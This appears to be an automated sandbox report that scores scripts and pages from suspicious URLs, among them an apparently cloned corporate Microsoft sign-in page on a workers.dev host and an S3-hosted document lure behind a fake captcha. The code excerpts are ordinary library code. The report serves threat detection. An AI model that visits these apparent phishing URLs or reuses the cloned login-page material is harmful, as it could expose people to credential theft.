in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://628jpkkq.nhubiubuniunuion.workers.dev/common/instrumentation/reportpageload","dssostatus":"https://628jpkkq.nhubiubuniunuion.workers.dev/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"117.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility library for managing script loading and debugging. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or obfuscated code. The script primarily focuses on handling document ready and load events, as well as providing a logging mechanism for debugging purposes. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a legitimate utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAtt
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate and benign code that addresses some browser compatibility issues and handles the loading of an illustration image. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscated code. The script is primarily focused on adjusting the viewport settings and loading an illustration image when the branding element is displayed. This behavior is consistent with typical web development practices and does not raise any significant security concerns." }
//<![CDATA[ /* /////////////////////////////////////////////////////////////// // // For JPMC customizations - scroll to the bottom of this document // /////////////////////////////////////////////////////////////// */ // Copyright (c) Microsoft Corporation. All rights reserved. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize. "use strict"; // In the CSS file we set the ms-viewport to be consistent with the device dimensions, // which is necessary for correct functionality of immersive IE. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone. // Windows 8 phone has agent string 'IEMobile 10.0' if (navigator.userAgent.match(/IEMobile\/10\.0/)) { var msViewportStyle = document.createElement("style"); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{width:auto!important}" ) ); msViewportStyle.appendChild( document.createTextNode( "@-ms-viewport{height:auto!important}" ) ); document.getElementsByTagName("head")[0].appendChild(msViewportStyle); } // If the innerWidth is defined, use it as the viewport width. if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) { var viewport = document.querySelector("meta[name=viewport]"); viewport.setAttribute('content', 'width=' + window.innerWidth + ', initial-scale=1.0, user-scalable=1'); } // Gets the current style of a specific property for a specific element. function getStyle(element, styleProp) { var propStyle = null; if (element && element.currentStyle) { propStyle = element.currentStyle[styleProp]; } else if (element && window.getComputedStyle) { propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp); } return propStyle; } // The script below is used for downloading the illustration image // only when the branding is displaying. This script work together // with the code in PageBase.cs that sets the html inline style // containing the class 'illustrationClass' with the background image. var computeLoadIllustration = function () { var branding = document.getElementById("branding"); var brandingDisplay = getStyle(branding, "display"); var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display"); if (brandingDisplay && brandingDisplay !== "none" && brandingWrapperDisplay && brandingWrapperDisplay !== "none") { var newClass = "illustrationClass"; if (branding.classList && branding.classList.add) { branding.classList.add(newClass); } else if (branding.className !== undefined) { branding.className += " " + newClass; } if (window.removeEventListener) { window.removeEventListener('load', computeLoadIllustration, false); window.removeEventListener('resize', computeLoadIllustration, false); } else if (window.detachEvent) { window.detachEvent('onload', computeLoadIllustration); window.detachEvent('onresize', computeLoadIllustration); } } }; if (window.addEventListener) { window.addEventListener('resize', computeLoadIllustration, false); window.addEventListener('load', computeLoadIllustration, false); } else if (window.attachEvent) { window.attachEvent('onresize', computeLoadIllustration); window.attachEvent('onload', computeLoadIllustration); } // Function to change illustration image. Usage example below. function SetIllustrationImage(imageUri) { var illustrationImageClass = '.illustrationClass {background-image:url(' + imageUri + ');}'; var css = document.createElement('style'); css.type = 'text/css'; if (css.styleSheet) css.styleSheet.cssText = illustrationImageClass;
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility library for managing asynchronous script loading and execution. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or heavily obfuscated code. The script primarily focuses on handling document ready and load events, as well as registering and executing scripts in a controlled manner. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a legitimate utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?use... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate utility function for handling user input and error display. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscated code. The script is focused on providing a consistent user experience by managing input fields, error messages, and placeholder text. There are no suspicious behaviors or interactions with untrusted domains, and the functionality aligns with typical user interface management tasks. Overall, this script poses a low risk and is likely part of a legitimate application." }
//<![CDATA[ // Copyright (c) Microsoft Corporation. All rights reserved. function InputUtil(errTextElementID, errDisplayElementID) { if (!errTextElementID) errTextElementID = 'errorText'; if (!errDisplayElementID) errDisplayElementID = 'error'; this.hasFocus = false; this.errLabel = document.getElementById(errTextElementID); this.errDisplay = document.getElementById(errDisplayElementID); }; InputUtil.prototype.canDisplayError = function () { return this.errLabel && this.errDisplay; } InputUtil.prototype.checkError = function () { if (!this.canDisplayError){ throw new Error ('Error element not present'); } if (this.errLabel && this.errLabel.innerHTML) { this.errDisplay.style.display = ''; var cause = this.errLabel.getAttribute('for'); if (cause) { var causeNode = document.getElementById(cause); if (causeNode && causeNode.value) { causeNode.focus(); this.hasFocus = true; } } } else { this.errDisplay.style.display = 'none'; } }; InputUtil.prototype.setInitialFocus = function (input) { if (this.hasFocus) return; var node = document.getElementById(input); if (node) { if ((/^\s*$/).test(node.value)) { node.focus(); this.hasFocus = true; } } }; InputUtil.prototype.setError = function (input, errorMsg) { if (!this.canDisplayError) { throw new Error('Error element not present'); } input.focus(); if (errorMsg) { this.errLabel.innerHTML = errorMsg; } this.errLabel.setAttribute('for', input.id); this.errDisplay.style.display = ''; }; InputUtil.makePlaceholder = function (input) { var ua = navigator.userAgent; if (ua != null && (ua.match(/MSIE 9.0/) != null \|\| ua.match(/MSIE 8.0/) != null \|\| ua.match(/MSIE 7.0/) != null)) { var node = document.getElementById(input); if (node) { var placeholder = node.getAttribute("placeholder"); if (placeholder != null && placeholder != '') { var label = document.createElement('input'); label.type = "text"; label.value = placeholder; label.readOnly = true; label.style.position = 'absolute'; label.style.borderColor = 'transparent'; label.className = node.className + ' hint'; label.tabIndex = -1; label.onfocus = function () { this.nextSibling.focus(); }; node.style.position = 'relative'; node.parentNode.style.position = 'relative'; node.parentNode.insertBefore(label, node); node.onkeyup = function () { InputUtil.showHint(this); }; node.onblur = function () { InputUtil.showHint(this); }; node.style.background = 'transparent'; node.setAttribute("placeholder", ""); InputUtil.showHint(node); } } } }; InputUtil.focus = function (inputField) { var node = document.getElementById(inputField); if (node) node.focus(); }; InputUtil.hasClass = function(node, clsName) { return node.className.match(new RegExp('(\\s\|^)' + clsName + '(\\s\|$)')); }; InputUtil.addClass = function(node, clsName) { if (!this.hasClass(node, clsName)) node.className += " " + clsName; }; InputUtil.removeClass = function(node, clsName) { if (this.hasClass(node, clsName)) { var reg = new RegExp('(\\s\|^)' + clsName + '(\\s\|$)'); node.className = node.className.replace(reg, ' '); } }; InputUtil.showHint = function (node, gotFocus) { if (node.value && node.value != '') { node.previousSibling.style.display = 'none'; } else { node.previousSibling.style.display = ''; } }; InputUtil.updatePlaceholder = function (input, placeholderText) { var
URL: https://net-sign.netlify.app Model: Joe Sandbox AI	```json{ "brand": "NetSign", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 3, "spoofed": 2, "reasoning": "The URL 'net-sign.netlify.app' does not strongly resemble any well-known brand. The use of 'net-sign' could potentially be a play on words or a brand name, but there is no clear indication of a specific brand being targeted. The domain 'netlify.app' is a legitimate platform for hosting web applications, which suggests that this URL might be used for a legitimate purpose, such as hosting a web application or service. The similarity score is low because there are no obvious character substitutions or structural changes that mimic a well-known brand. The likelihood of this being a typosquatting attempt is also low, as the URL structure does not strongly suggest an attempt to confuse users into thinking they are interacting with a specific, trusted brand."}
URL: https://net-sign.netlify.app
URL: https://appends.netlify.app/assets/index-BTn4qouO.... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script uses fetch to load resources specified by link elements with rel='modulepreload'. This involves external data transmission, but there is no indication of malicious intent or data exfiltration. The script appears to be part of a legitimate library (Vue.js) and does not interact with suspicious domains." }
(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const r of document.querySelectorAll('link[rel="modulepreload"]'))s(r);new MutationObserver(r=>{for(const i of r)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&s(l)}).observe(document,{childList:!0,subtree:!0});function n(r){const i={};return r.integrity&&(i.integrity=r.integrity),r.referrerPolicy&&(i.referrerPolicy=r.referrerPolicy),r.crossOrigin==="use-credentials"?i.credentials="include":r.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function s(r){if(r.ep)return;r.ep=!0;const i=n(r);fetch(r.href,i)}})();/** * @vue/shared v3.5.13 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT *//! #__NO_SIDE_EFFECTS__ /function bn(e){const t=Object.create(null);for(const n of e.split(","))t[n]=1;return n=>n in t}const V={},Je=[],xe=()=>{},_r=()=>!1,$t=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&(e.charCodeAt(2)>122\|\|e.charCodeAt(2)<97),xn=e=>e.startsWith("onUpdate:"),te=Object.assign,yn=(e,t)=>{const n=e.indexOf(t);n>-1&&e.splice(n,1)},br=Object.prototype.hasOwnProperty,D=(e,t)=>br.call(e,t),A=Array.isArray,lt=e=>Ut(e)==="[object Map]",xr=e=>Ut(e)==="[object Set]",R=e=>typeof e=="function",J=e=>typeof e=="string",Qe=e=>typeof e=="symbol",q=e=>e!==null&&typeof e=="object",gs=e=>(q(e)\|\|R(e))&&R(e.then)&&R(e.catch),yr=Object.prototype.toString,Ut=e=>yr.call(e),wr=e=>Ut(e).slice(8,-1),Sr=e=>Ut(e)==="[object Object]",wn=e=>J(e)&&e!=="NaN"&&e[0]!=="-"&&""+parseInt(e,10)===e,ot=bn(",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted"),Vt=e=>{const t=Object.create(null);return n=>t[n]\|\|(t[n]=e(n))},vr=/-(\w)/g,Me=Vt(e=>e.replace(vr,(t,n)=>n?n.toUpperCase():"")),Tr=/\B([A-Z])/g,We=Vt(e=>e.replace(Tr,"-$1").toLowerCase()),ms=Vt(e=>e.charAt(0).toUpperCase()+e.slice(1)),zt=Vt(e=>e?`on${ms(e)}`:""),Ve=(e,t)=>!Object.is(e,t),Xt=(e,...t)=>{for(let n=0;n<e.length;n++)e[n](...t)},_s=(e,t,n,s=!1)=>{Object.defineProperty(e,t,{configurable:!0,enumerable:!1,writable:s,value:n})},Cr=e=>{const t=parseFloat(e);return isNaN(t)?e:t};let Bn;const Bt=()=>Bn\|\|(Bn=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof global<"u"?global:{});function Sn(e){if(A(e)){const t={};for(let n=0;n<e.length;n++){const s=e[n],r=J(s)?Ar(s):Sn(s);if(r)for(const i in r)t[i]=r[i]}return t}else if(J(e)\|\|q(e))return e}const Er=/;(?![^(]\))/g,Or=/:([^]+)/,Pr=/\/\[^]?\\//g;function Ar(e){const t={};return e.replace(Pr,"").split(Er).forEach(n=>{if(n){const s=n.split(Or);s.length>1&&(t[s[0].trim()]=s[1].trim())}}),t}function vn(e){let t="";if(J(e))t=e;else if(A(e))for(let n=0;n<e.length;n++){const s=vn(e[n]);s&&(t+=s+" ")}else if(q(e))for(const n in e)e[n]&&(t+=n+" ");return t.trim()}const Rr="itemscope,allowfullscreen,formnovalidate,ismap,nomodule,novalidate,readonly",Ir=bn(Rr);function bs(e){return!!e\|\|e===""}/* * @vue/reactivity v3.5.13 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT **/let le;class Mr{constructor(t=!1){this.detached=t,this._active=!0,this.effects=[],this.cleanups=[],this._isPaused=!1,this.parent=le,!t&&le&&(this.index=(le.scopes\|\|(le.scopes=[])).push(this)-1)}get active(){return this._active}pause(){if(this._active){this._isPaused=!0;let t,n;if(this.scopes)for(t=0,n=this.scopes.length;t<n;t++)this.scopes[t].pause();for(t=0,n=this.effects.length;t<n;t++)this.effects[t].pause()}}resume(){if(this._active&&this._isPaused){this._isPaused=!1;let t,n;if(this.scopes)for(t=0,n=this.scopes.length;t<n;t++)this.scopes[t].resume();for(t=0,n=this.effects.length;t<n;t++)this.effects[t].resume()}}run(t){if(this._active){const n=le;try{return le=this,t()}finally{le=n}}}on(){le=this}off(){le=this.parent}stop(t){if(this._active){this._active=!1;let n,s;for(n=0,s=this.effects.length;n<s;n++)this.effects[n].stop();for(this.effects.len
URL: https://net-sign.netlify.app/assets/index-CaUaz09t... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script performs DOM manipulation by observing and modifying 'link' elements with 'modulepreload' relation, which is a moderate-risk behavior. However, it does not exhibit high-risk behaviors such as dynamic code execution or data exfiltration. The script appears to be part of a legitimate library (Vue.js) and does not interact with external domains, which reduces its risk profile." }
(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const r of document.querySelectorAll('link[rel="modulepreload"]'))s(r);new MutationObserver(r=>{for(const i of r)if(i.type==="childList")for(const o of i.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&s(o)}).observe(document,{childList:!0,subtree:!0});function n(r){const i={};return r.integrity&&(i.integrity=r.integrity),r.referrerPolicy&&(i.referrerPolicy=r.referrerPolicy),r.crossOrigin==="use-credentials"?i.credentials="include":r.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function s(r){if(r.ep)return;r.ep=!0;const i=n(r);fetch(r.href,i)}})();/** * @vue/shared v3.5.13 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT *//! #__NO_SIDE_EFFECTS__ /function bn(e){const t=Object.create(null);for(const n of e.split(","))t[n]=1;return n=>n in t}const V={},Je=[],xe=()=>{},br=()=>!1,$t=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&(e.charCodeAt(2)>122\|\|e.charCodeAt(2)<97),xn=e=>e.startsWith("onUpdate:"),te=Object.assign,yn=(e,t)=>{const n=e.indexOf(t);n>-1&&e.splice(n,1)},xr=Object.prototype.hasOwnProperty,D=(e,t)=>xr.call(e,t),P=Array.isArray,ot=e=>Ut(e)==="[object Map]",yr=e=>Ut(e)==="[object Set]",R=e=>typeof e=="function",J=e=>typeof e=="string",Qe=e=>typeof e=="symbol",q=e=>e!==null&&typeof e=="object",_s=e=>(q(e)\|\|R(e))&&R(e.then)&&R(e.catch),vr=Object.prototype.toString,Ut=e=>vr.call(e),wr=e=>Ut(e).slice(8,-1),Sr=e=>Ut(e)==="[object Object]",vn=e=>J(e)&&e!=="NaN"&&e[0]!=="-"&&""+parseInt(e,10)===e,lt=bn(",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted"),Vt=e=>{const t=Object.create(null);return n=>t[n]\|\|(t[n]=e(n))},Tr=/-(\w)/g,Ie=Vt(e=>e.replace(Tr,(t,n)=>n?n.toUpperCase():"")),Cr=/\B([A-Z])/g,We=Vt(e=>e.replace(Cr,"-$1").toLowerCase()),bs=Vt(e=>e.charAt(0).toUpperCase()+e.slice(1)),zt=Vt(e=>e?`on${bs(e)}`:""),Ve=(e,t)=>!Object.is(e,t),Xt=(e,...t)=>{for(let n=0;n<e.length;n++)e[n](...t)},xs=(e,t,n,s=!1)=>{Object.defineProperty(e,t,{configurable:!0,enumerable:!1,writable:s,value:n})},Er=e=>{const t=parseFloat(e);return isNaN(t)?e:t};let Kn;const Bt=()=>Kn\|\|(Kn=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof global<"u"?global:{});function wn(e){if(P(e)){const t={};for(let n=0;n<e.length;n++){const s=e[n],r=J(s)?Rr(s):wn(s);if(r)for(const i in r)t[i]=r[i]}return t}else if(J(e)\|\|q(e))return e}const Or=/;(?![^(]\))/g,Ar=/:([^]+)/,Pr=/\/\[^]?\\//g;function Rr(e){const t={};return e.replace(Pr,"").split(Or).forEach(n=>{if(n){const s=n.split(Ar);s.length>1&&(t[s[0].trim()]=s[1].trim())}}),t}function Sn(e){let t="";if(J(e))t=e;else if(P(e))for(let n=0;n<e.length;n++){const s=Sn(e[n]);s&&(t+=s+" ")}else if(q(e))for(const n in e)e[n]&&(t+=n+" ");return t.trim()}const Mr="itemscope,allowfullscreen,formnovalidate,ismap,nomodule,novalidate,readonly",Ir=bn(Mr);function ys(e){return!!e\|\|e===""}/* * @vue/reactivity v3.5.13 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT **/let oe;class Fr{constructor(t=!1){this.detached=t,this._active=!0,this.effects=[],this.cleanups=[],this._isPaused=!1,this.parent=oe,!t&&oe&&(this.index=(oe.scopes\|\|(oe.scopes=[])).push(this)-1)}get active(){return this._active}pause(){if(this._active){this._isPaused=!0;let t,n;if(this.scopes)for(t=0,n=this.scopes.length;t<n;t++)this.scopes[t].pause();for(t=0,n=this.effects.length;t<n;t++)this.effects[t].pause()}}resume(){if(this._active&&this._isPaused){this._isPaused=!1;let t,n;if(this.scopes)for(t=0,n=this.scopes.length;t<n;t++)this.scopes[t].resume();for(t=0,n=this.effects.length;t<n;t++)this.effects[t].resume()}}run(t){if(this._active){const n=oe;try{return oe=this,t()}finally{oe=n}}}on(){oe=this}off(){oe=this.parent}stop(t){if(this._active){this._active=!1;let n,s;for(n=0,s=this.effects.length;n<s;n++)this.effects[n].stop();for(this.effects.len
URL: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please solve the puzzle to prove you're not a robot", "prominent_button_name": "Swipe right to fill the puzzle", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please solve the puzzle to prove you're not a robot", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
